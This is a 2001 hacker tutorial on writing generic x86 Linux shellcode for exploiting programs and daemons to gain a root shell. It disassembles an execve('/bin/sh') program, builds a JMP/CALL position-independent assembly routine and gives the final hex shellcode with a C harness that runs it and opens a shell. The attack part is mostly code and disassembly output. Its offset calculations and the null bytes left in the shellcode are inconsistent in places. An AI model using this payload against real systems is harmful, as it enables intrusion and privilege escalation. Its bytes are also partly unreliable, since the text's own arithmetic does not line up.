Writing generic SHELLCODE for Linux ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Introduction: Shellcode is usually used to exploit programs or deamons to get root shell. Here I will focus how to write correct generic shell code, possible next paper will focus on advanced shell codes for certain deamons and bugz in sources. Begining: At first write a simple shell execution on hight-level languagde using execve: --[::shell.c::]-- #include void shell() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execv (name[0], name, NULL); --:::::::::::::-- Next step to get hexademical translation of this shell, we should compile it (using -static flag, to include execve syscall) and disassemble: ----------------- $ gcc -o shell -static shell.c $ objdump -d shell|less
: 01: 55 pushl %ebp 02: 89 e5 movl %esp,%ebp 03: 83 ec 08 subl $0x8,%esp 04: c7 45 f8 08 f3 06 08 movl $0x806f308,0xfffffff8(%ebp) 05: c7 45 fc 00 00 00 00 movl $0x0,0xfffffffc(%ebp) 06: 6a 00 pushl $0x0 07: 8d 45 f8 leal 0xfffffff8(%ebp),%eax 08: 50 pushl %eax 09: 8b 45 f8 movl 0xfffffff8(%ebp),%eax 10: 50 pushl %eax 11: e8 e5 37 00 00 call __OFFSET_OF_EXECVE__ <__execve> 12: 83 c4 0c addl $0xc,%esp 13: c9 leave 14: c3 ret <__execve>: 15: 53 pushl %ebx 16: 8b 54 24 10 movl 0x10(%esp,1),%edx 17: 8b 4c 24 0c movl 0xc(%esp,1),%ecx 18: 8b 5c 24 08 movl 0x8(%esp,1),%ebx 19: b8 0b 00 00 00 movl $0xb,%eax 20: cd 80 int $0x80 21: 5b popl %ebx 22: 3d 01 f0 ff ff cmpl $0xfffff001,%eax 23: 0f 83 e0 02 00 00 jae 804bca0 <__syscall_error> 24: c3 ret ----------------- Looking on assembler code and obsorve needed part: Strings 01 - 03, it is called prelog procedure. 01: 55 pushl %ebp 02: 89 e5 movl %esp,%ebp 03: 83 ec 08 subl $0x8,%esp It is first saves old stack base pointer, makes the current stack pointer the new frame pointer, and leaves space for the local variables. We had iniciate is with: char *name[2]; Two pointers to char. Pointers are a word long, so it leaves space for two words (8 bytes). Next string: 04: c7 45 f8 08 f3 06 08 movl $0x806f308,0xfffffff8(%ebp) Put address of string "/bin/sh" (or pointer to string) into the reserved place in the stack. It is equivalent to c code: name[0] = "/bin/sh"; Next string: 05: c7 45 fc 00 00 00 00 movl $0x0,0xfffffffc(%ebp) Put value "NULL" (00 00 00 00) into the reserved place in the stack. name[1] = NULL; And preparing to call <_execve> by next steps. 06: 6a 00 pushl $0x0 Push NULL to stack. 07: 8d 45 f8 leal 0xfffffff8(%ebp),%eax Load the address of name[] into the %eax register. 08: 50 pushl %eax Push the address of name[] into stack. 09: 8b 45 f8 movl 0xfffffff8(%ebp),%eax Placing the address of name[0]("/bin/sh") into the %eax. 10: 50 pushl %eax Push address into the stack. 11: e8 e5 37 00 00 call __OFFSET_OF_EXECVE__ <__execve> Call <__execve>, call instruction pushes the IP into the stack. Next step is <__execve> syscall: 15: 53 pushl %ebx Push into stack current %ebx. 16: 8b 54 24 10 movl 0x10(%esp,1),%edx Move into %edx address of name[]. 17: 8b 4c 24 0c movl 0xc(%esp,1),%ecx Move into %ecx address of name[1]. 18: 8b 5c 24 08 movl 0x8(%esp,1),%ebx Move into %edx address of name[0]. 19: b8 0b 00 00 00 movl $0xb,%eax Move execve index in the syscall table to %eax. 20: cd 80 int $0x80 Change into programing kernel mode. Here we got the SHELL. So that all we need to write correct generic shell code. Analyzing ASM code we can see, that we need next part to write correct shell execution. * Know the address of the string "/bin/sh" * The address of the address of the string. * String "/bin/sh", terminated by NULL. * Long null in the memory. * Move 0xb (execve) into %eax register. * Move the address (in the memory) of the string "/bin/sh" into %ebx register. * Move the address of the address of the string "/bin/sh" into %ecx register. * Move the address of the null long (00 00 00 00) into %edx register. * Execute the int $0x80 instruction. But in reallity, we don't know where in the memory space of the program we are trying to exploit the code will be placed. So we need complex and relative addressing shell code. The only way we can use JMP and CALL instructions. It is means that we can jump from current IP whitout needing to know address we want to execute. If we place the CALL instruction before string "/bin/sh" and JMP instruction to it, the address will be pushed onto the stack as the return address when CALL is executed. --[::shell.s::]-- jmp __to_call_instruction__ // to get address of .string "/bin/sh" popl %esi // got the address of .string "/bin/sh" movl string_address, string_address_address //to place address string in the memory movb 0x0, 7+string_address //terminate string by 00 movl 0x0, c+string_address //put long null after string address movl 0xb, %eax //put execve syscall to %eax movl string_address, %ebx //mov string address to %ebx leal string_adress_adress, %ecx //load and put string address to %ecx leal null_long, %edx //load and put null long address to %edx int $0x80 //exevute the int $0x80 instruction call __popl__ //call popl place .string "/bin/sh" // string goes here ----------------- Insert it into c sourse and put instead __to_call_instruction__ and __popl__ some testing variables. --[::code.s::]--- void main() { __asm__ (" jmp 0x22 popl %esi movl %esi, 0x8(%esi) movb $0x0, 0x7(%esi) movl $0x0, 0xc(%esi) movl $0xb, %eax movl %esi, %ebx leal 0x8(%esi), %ecx leal 0xc(%esi), %edx int $0x80 call -0x22 .string \"/bin/sh\" "); } ----------------- jmp 0x22 and call -0x22 are testing, we should get exactly address by running objdump: ----------------- $ gcc -o code code.s $ objdum -d code|less
: 8048398: 55 pushl %ebp 8048399: 89 e5 movl %esp,%ebp 804839b: eb 1e jmp 80483bb 804839d: 5e popl %esi 804839e: 89 76 08 movl %esi,0x8(%esi) 80483a1: c6 46 07 00 movb $0x0,0x7(%esi) 80483a5: c7 46 0c 00 00 00 00 movl $0x0,0xc(%esi) 80483ac: b8 0b 00 00 00 movl $0xb,%eax 80483b1: 89 f3 movl %esi,%ebx 80483b3: 8d 4e 08 leal 0x8(%esi),%ecx 80483b6: 8d 56 0c leal 0xc(%esi),%edx 80483b9: cd 80 int $0x80 80483bb: e8 dd ff ff ff call 804839d 80483c0: 2f das 80483c1: 62 69 6e boundl 0x6e(%ecx),%ebp 80483c4: 2f das 80483c5: 73 68 jae 804842f <_IO_stdin_used+0x13> 80483c7: 00 c9 addb %cl,%cl 80483c9: c3 ret 80483ca: 90 nop ----------------- Callculating jmp (0x1e) and call (-0x23) we got shell code: ----------------- "\xeb\x1e\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00\xb8\x0b\x00\x00\x00" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" "\x00\xc9\x63\x90\x56"; ----------------- And next we can test it: ----------------- char shellcode[] = "\xeb\x1e\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00\xb8\x0b\x00\x00\x00" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" "\x00\xc9\x63\x90\x56"; int main() { void (*s)()= (void *)shellcode; s(); } ----------------- Comiling and running: ----------------- $ gcc -o shellcode shellcode.c $ ./shellcode bash$ ----------------- So we have got our own shell code for Linux platform. Next paper will describe how we can modify it for FreeBSD and OpenBSD platforms. All rights reserved by Ni0S (c) 2001. [datarise.org] EOF